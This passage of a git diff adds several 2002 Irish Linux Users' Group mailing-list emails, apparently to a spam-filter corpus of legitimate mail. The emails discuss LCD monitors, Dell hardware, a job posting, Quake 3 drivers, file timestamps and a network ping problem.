(root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Jd1v09868 for + ; Fri, 2 Aug 2002 20:39:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA25649; Fri, 2 Aug 2002 20:36:52 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA25616 + for ; Fri, 2 Aug 2002 20:36:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts14-119.dublin.indigo.ie + [194.125.175.119]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 5FE44F9B4 for ; Fri, 2 Aug 2002 20:21:29 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 0638A3DBF1; Fri, 2 Aug 2002 20:40:10 +0100 (IST) +Date: Fri, 2 Aug 2002 20:40:10 +0100 +From: Niall O Broin +To: ILUG +Subject: Re: [ILUG] LCD monitors and linux +Message-Id: <20020802194010.GC2530@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , + ILUG +References: <20020802172122.A19980@Hobbiton.cod.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020802172122.A19980@Hobbiton.cod.ie> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 05:21:22PM +0100, Conor Daly wrote: + +> My 17" CRT monitor having drowned in a flood (10cm squared of burned +> circuit board URGH!) , I'm thinking of a 15" LCD as a replacement. +> What with me going to the continent and all next week, I might wait and +> buy one there (for a reasonable price (Dave Neary! Any good sources?)). + +Conor - it's a rather large continent - people might need to know where you +are going to suggest sources. And if you're buying abroad, make sure you get +to test it - many places won't have facilities for you to do that. + +> Question is: CAn I just plug in _any_ lcd monitor and expect it to work? +> Are there special incantations needed for XFree86 to work. Needless to +> say, it'll be a bit difficult to bring it back to the shop once I'm home +> in Dublin and find it doesn't work! + +Any monitor should just work - they all have VGA connectors and any half +decent brand will be know about by XFree setup programs in modern +distributions. However, if you have the budget (insurance paying for the +dead monitor, perhaps ? - and WHERE was your monitor that it got caught in a +flood ?) getting a monitor with a DVI input is best. Of course, you'll need +a DVI out video card then, too. DVI provides a much better picture than VGA +because it removes the analog stage - basically DVI gives you a direct +connection from video ram pixels to monitor pixels - the best pictures I've +ever seen on a computer is on my notebook screen at 1400x1050 (which doesn't +use DVI, but an internal connection which has the same effect). Brand wise, +I like Iiyama a lot and I think they may have a Europe wide warranty. + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00241.1cb3df109857b541b9829f93fb5189d1 b/bayes/spamham/easy_ham_2/00241.1cb3df109857b541b9829f93fb5189d1 new file mode 100644 index 0000000..9ed6792 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00241.1cb3df109857b541b9829f93fb5189d1 @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Tue Aug 6 11:50:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA2E5441D4 + for ; Tue, 6 Aug 2002 06:48:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:06 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72JLmv09400 for + ; Fri, 2 Aug 2002 20:21:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA24948; Fri, 2 Aug 2002 20:19:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA24913 for ; + Fri, 2 Aug 2002 20:19:01 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17ahww-0006CV-00 for ; Fri, 02 Aug 2002 12:18:58 -0700 +Date: Fri, 2 Aug 2002 12:18:58 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 +Message-Id: <20020802191858.GJ13849@linuxmafia.com> +References: <653270E74A8DD31197AF009027AA4F8B01845F1C@LIMXMMF303> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <653270E74A8DD31197AF009027AA4F8B01845F1C@LIMXMMF303> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Stephen_Reilly@dell.com (Stephen_Reilly@dell.com): + +> You make it sound that incompatibility has been deliberately built +> into the new systems. The products that any company sell with linux +> installed will be easily reinstalled with linux. The products sold +> with Windows only may not be. Having said that I've never found a Dell +> system it was impossible to put RH on. I have had one or two headaches +> in the past doing it, though. + +I just wanted to second what Stephen says, from an independent +perspective: The few times I've encountered an obstacle installing +current Linux distributions on Dell boxes, it's been because Dell were +an early adopter of (e.g.) a new Adaptec SCSI chipset, which hadn't +been included in all installation kernels. And that is the risk you +_always_ take when you blindly buy hardware systems for Linux without +verifying chipset support, first. If anything, Dell have over the years +occasioned less such trouble than have many competitors, in this area. + +-- +Cheers, If C gives you enough rope to hang yourself, then C++ give you enough +Rick Moen to bind and gag your neighbourhood, rig the sails on a small ship, +rick@linuxmafia.com and still have enough to hang yourself from the yardarm. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00242.a0fd5ccd8b2175f222b822229a2a77c1 b/bayes/spamham/easy_ham_2/00242.a0fd5ccd8b2175f222b822229a2a77c1 new file mode 100644 index 0000000..ebb765e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00242.a0fd5ccd8b2175f222b822229a2a77c1 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C048B441DA + for ; Tue, 6 Aug 2002 06:48:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:08 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72KeRv11592 for + ; Fri, 2 Aug 2002 21:40:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA28217; Fri, 2 Aug 2002 21:38:09 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA28174 for ; + Fri, 2 Aug 2002 21:38:01 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g72Kc0Y27512 for ; + Fri, 2 Aug 2002 21:38:00 +0100 +Date: Fri, 2 Aug 2002 21:37:58 +0100 +To: Colm Buckley +Cc: "Irish Linux Users' Group" +Subject: Re: [ILUG] Sysadmin / IT person wanted +Message-Id: <20020802213758.A25994@ie.suberic.net> +References: <200208021341.30252.colm@newworldiq.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208021341.30252.colm@newworldiq.com>; from + colm@newworldiq.com on Fri, Aug 02, 2002 at 01:41:30PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028752680.02ada5@ie.suberic.net, + colm@newworldiq.com, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 01:41:30PM +0100, Colm Buckley wrote: +> Wearing my other hat today - we're looking for a competent and +> experienced system administrator here, and I'd like anyone who's +> interested to contact me. + +hey, so are we! + +> The job is for a Windows (NT and 2000) and Linux (Debinan) system +[admin] + +but we use a real distribution (redhat), so if you were ok up to the +debian part, drop me a line. it does involve windows, it will involve +it a lot. the linux stuff will be minor, though as times go on that +might change. the main part is corporate windows desktop support. + +please mail me if you're interested? + +thanks! + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00243.edda2c702247700524eb49178f57c34c b/bayes/spamham/easy_ham_2/00243.edda2c702247700524eb49178f57c34c new file mode 100644 index 0000000..a3fb747 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00243.edda2c702247700524eb49178f57c34c @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B651A441DE + for ; Tue, 6 Aug 2002 06:48:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g735YUv02123 for + ; Sat, 3 Aug 2002 06:34:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA15837; Sat, 3 Aug 2002 06:32:08 +0100 +Received: from UKExt5.uk.exel.com ([193.132.29.98]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA15812 for ; Sat, + 3 Aug 2002 06:32:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.132.29.98] claimed to + be UKExt5.uk.exel.com +From: "Dermot Beirne" +To: "ilug" +Message-Id: +Date: Sat, 3 Aug 2002 06:28:06 +0100 +X-Mimetrack: Serialize by Router on UKExt5/Exel-External(Release 5.0.9a + |January 7, 2002) at 03/08/2002 06:32:02 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Subject: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I will be out of the office starting 02/08/2002 and will not return until +06/08/2002. + +I am out of the office until Tuesday 6th August. I will reply to messages +on my return. + +Thank you. +DermotImportant Email Information + +The information in this email is confidential and may be legally +privileged. It is intended solely for the addressee. Access to this email +by anyone else is unauthorized. If you are not the intended recipient, any +disclosure, copying, distribution or any action taken or omitted to be +taken in reliance on it, is prohibited and may be unlawful. If you are not +the intended addressee please contact the sender and dispose of this +e-mail. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00244.5c0c684db2eb104130bee7f3ddfa261a b/bayes/spamham/easy_ham_2/00244.5c0c684db2eb104130bee7f3ddfa261a new file mode 100644 index 0000000..5131525 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00244.5c0c684db2eb104130bee7f3ddfa261a @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8D15A441DF + for ; Tue, 6 Aug 2002 06:48:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g738Ouv06320 for + ; Sat, 3 Aug 2002 09:24:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA21297; Sat, 3 Aug 2002 09:22:31 +0100 +Received: from bubble.oceanfree.net ([212.2.162.35]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA21259 for ; Sat, + 3 Aug 2002 09:22:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [212.2.162.35] claimed to + be bubble.oceanfree.net +Received: from [159.134.228.21] (helo=there) by bubble.oceanfree.net with + smtp (Exim 3.33 #3) id 17auB1-00037o-00; Sat, 03 Aug 2002 09:22:19 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Robert Synnott +To: "Gregory McRandal (ext 722)" , + "Irish Linux User's Group (E-mail)" +Subject: Re: [ILUG] Quake 3 +Date: Sat, 3 Aug 2002 09:21:17 +0100 +X-Mailer: KMail [version 1.3.1] +References: +In-Reply-To: +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Friday 02 August 2002 09:41, Gregory McRandal (ext 722) wrote: +> Hi, +> +> I've installed Quake 3 onto my computer and it starts to run up ok but as +> soon as the graphics start it bails out. It complains that there is an +> error in sis_drv.o, the line before this says that it is starting Quake in +> 24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I +> understand that the sis630 won't do 24 bit depth. So is there a way to +> make Quake start up in 16 bit depth? I've done some "google"ing but drawn +> a blank..... +> +> Thanks +> +> Greg + +If your card has its own MesaGL drivers it may want you to remove the one in +the Quake directory (certainly NVidia cards do this). Have a look at the docs +for your card's Linux drivers. +Bob + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00245.1a6c31f4aa59dc224123471dd267a63f b/bayes/spamham/easy_ham_2/00245.1a6c31f4aa59dc224123471dd267a63f new file mode 100644 index 0000000..b4b9c7e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00245.1a6c31f4aa59dc224123471dd267a63f @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 64CB8441E1 + for ; Tue, 6 Aug 2002 06:48:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:16 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73ECvv15737 for + ; Sat, 3 Aug 2002 15:12:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA00621; Sat, 3 Aug 2002 15:10:39 +0100 +Received: from linux.local ([195.218.108.51]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA00588 for ; Sat, + 3 Aug 2002 15:10:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.51] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g73EA3X32633 for + ; Sat, 3 Aug 2002 15:10:03 +0100 +Message-Id: <200208031410.g73EA3X32633@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] Re: Csh shell scripts +In-Reply-To: Message from Lars Hecking of + "Thu, 01 Aug 2002 17:35:51 BST." + <20020801163551.GB7945@nmrc.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <32630.1028383803.1@linux.local> +Date: Sat, 03 Aug 2002 15:10:03 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA00588 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Thu, 1 Aug 2002 17:35:51 +0100 + | From: Lars Hecking + | + | > quickie for shell scripters: + | > How do I find out the time a file was created at? + | + | There is no canonical test, and the information is not necessarily + | available. [ ... ] This information is also shown by ls -lc, but + | parsing ls' output requires a bit of effort. I'd rather recommend + | [ writing ] a short C program to access the file status directly, + | and output the ctime directly (seconds since the epoch, i.e. perfect + | | for numerical comparison). + + some systems have a stat(1) tool --- don't think it's GNU -- + which, when given the `-t' option, does exactly what Lars is + suggesting: + + $ stat -t /etc/motd + /etc/motd 21 8 81a4 0 0 303 79 1 0 0 1028070983 830730492 1013296719 + + minor problem is the `-t' format is not actually explained in + the man page, but its fairly easy to work out (or you can just + look at the source). also, since the filename is printed as + the first "field", bizarre filenames (e.g., ones which contain + spaces or newlines) can confuse a simple script. + +cheers! + -blf- + + | (Another way is to use GNU find -printf with a custom format [ ... ] +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00246.5322e23629e73664f224aa829efb63c5 b/bayes/spamham/easy_ham_2/00246.5322e23629e73664f224aa829efb63c5 new file mode 100644 index 0000000..db068d2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00246.5322e23629e73664f224aa829efb63c5 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B6885441E0 + for ; Tue, 6 Aug 2002 06:48:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73E4Xv15348 for + ; Sat, 3 Aug 2002 15:04:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32650; Sat, 3 Aug 2002 15:02:13 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay06.indigo.ie (relay06.indigo.ie [194.125.133.230]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id PAA32614 for ; + Sat, 3 Aug 2002 15:02:06 +0100 +Received: (qmail 77062 messnum 1045416 invoked from + network[194.125.173.35/ts13-035.dublin.indigo.ie]); 3 Aug 2002 14:02:05 + -0000 +Received: from ts13-035.dublin.indigo.ie (HELO pc-00004) (194.125.173.35) + by relay06.indigo.ie (qp 77062) with SMTP; 3 Aug 2002 14:02:05 -0000 +From: Eamonn Shinners +To: ILUG +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +Message-Id: <1028383169.2214.20.camel@gamma.eko.ie> +MIME-Version: 1.0 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) +Date: 03 Aug 2002 15:02:32 +0100 +Subject: [ILUG] Network problems +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi guys, + I'm looking for help on this one. I have a server with SME5.5 installed +- used to be e-smith. It's based on RH7.1, has a 3c507 NIC, and is +connected to a hub. Also connected to the hub are a laptop and +workstation, both with RH7.3 . The server supplies DHCP amongst other +things. + The problem is interruptions in the network. If I ping the laptop from +the workstation, or the other way around, there are no problems, i.e. +shows up as 0% loss. If however I ping the server from the laptop or +workstation, it will do a few packets, anywhere from 3 to 20, and then +stop responding, it will start again after a little while. + The server is definitely not overloaded, 128Mb, and seems to be +configured correctly. In /etc/modules.conf,; + +options 3c507 irq=0x5 io=0x300 +alias eth0 3c507 + +there is an option in there for something called hisax, but whatever +that is, the machine doesn't have one. + doing route shows 192.168.0.0 as going through eth0 which is correct. + + Any help on this appreciated. + + Eamonn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00247.50ea609a623c12f75df32997a35b45cb b/bayes/spamham/easy_ham_2/00247.50ea609a623c12f75df32997a35b45cb new file mode 100644 index 0000000..6ecee96 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00247.50ea609a623c12f75df32997a35b45cb @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Tue Aug 6 11:52:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5FC7B441E2 + for ; Tue, 6 Aug 2002 06:48:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:17 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73EHtv15816 for + ; Sat, 3 Aug 2002 15:17:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA00866; Sat, 3 Aug 2002 15:16:05 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA00813 for + ; Sat, 3 Aug 2002 15:15:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (ts08-118.dublin.indigo.ie [194.125.205.245]) + by claymore.diva.ie (8.9.3/8.9.3) with ESMTP id PAA05178 for + ; Sat, 3 Aug 2002 15:15:55 +0100 +Message-Id: <3D4BE57C.90908@cunniffe.net> +Date: Sat, 03 Aug 2002 15:15:24 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug +Subject: Re: [ILUG] Network problems +References: <1028383169.2214.20.camel@gamma.eko.ie> +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Eamonn Shinners wrote: +> Hi guys, + + + +> there is an option in there for something called hisax, but whatever +> that is, the machine doesn't have one. + +Hisax is one of the ISDN modules : doesn't apply at all in this +case and won't affect your system. + +Can't really help with the rest, soz. + +Regards, + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00248.328aa49432560bc538794a44a18ff762 b/bayes/spamham/easy_ham_2/00248.328aa49432560bc538794a44a18ff762 new file mode 100644 index 0000000..7ec8b68 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00248.328aa49432560bc538794a44a18ff762 @@ -0,0 +1,102 @@ +From ilug-admin@linux.ie Tue Aug 6 11:52:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 349E6441E3 + for ; Tue, 6 Aug 2002 06:48:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73GjDv20020 for + ; Sat, 3 Aug 2002 17:45:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA05888; Sat, 3 Aug 2002 17:43:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA05843; Sat, 3 Aug 2002 + 17:42:55 +0100 +Received: from dialup162-a.ts552.cwt.esat.net ([193.203.156.162] + helo=Hobbiton.cod.ie) by mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17b1sT-0004nw-00; Sat, 03 Aug 2002 17:35:42 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g73GUbl26880; Sat, 3 Aug 2002 17:30:37 +0100 +Date: Sat, 3 Aug 2002 17:30:36 +0100 +From: Conor Daly +To: ILUG +Cc: Niall O Broin +Subject: Re: [ILUG] LCD monitors and linux +Message-Id: <20020803173036.A26683@Hobbiton.cod.ie> +Mail-Followup-To: ILUG , + Niall O Broin +References: <20020802172122.A19980@Hobbiton.cod.ie> + <20020802194010.GC2530@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020802194010.GC2530@bagend.makalumedia.com>; + from niall@linux.ie on Fri, Aug 02, 2002 at 08:40:10PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 08:40:10PM +0100 or so it is rumoured hereabouts, +Niall O Broin thought: +> On Fri, Aug 02, 2002 at 05:21:22PM +0100, Conor Daly wrote: +> +> > My 17" CRT monitor having drowned in a flood (10cm squared of burned +> > circuit board URGH!) , I'm thinking of a 15" LCD as a replacement. +> > What with me going to the continent and all next week, I might wait and +> > buy one there (for a reasonable price (Dave Neary! Any good sources?)). +> +> Conor - it's a rather large continent - people might need to know where you +> are going to suggest sources. And if you're buying abroad, make sure you get +> to test it - many places won't have facilities for you to do that. + +Um yeah, I suppose that'd be useful info... Western France, La Rochelle +area. Test as in test with Linux or just turn on and see that it works? + +> > Question is: CAn I just plug in _any_ lcd monitor and expect it to work? +> > Are there special incantations needed for XFree86 to work. Needless to +> > say, it'll be a bit difficult to bring it back to the shop once I'm home +> > in Dublin and find it doesn't work! +> +> Any monitor should just work - they all have VGA connectors and any half +> decent brand will be know about by XFree setup programs in modern +> distributions. However, if you have the budget (insurance paying for the +> dead monitor, perhaps ? - and WHERE was your monitor that it got caught in a + +Bathroom upstairs, Computer desk downstairs, got dripped into, started +clicking rapidly and smoking before it was noticed and unplugged... + +> flood 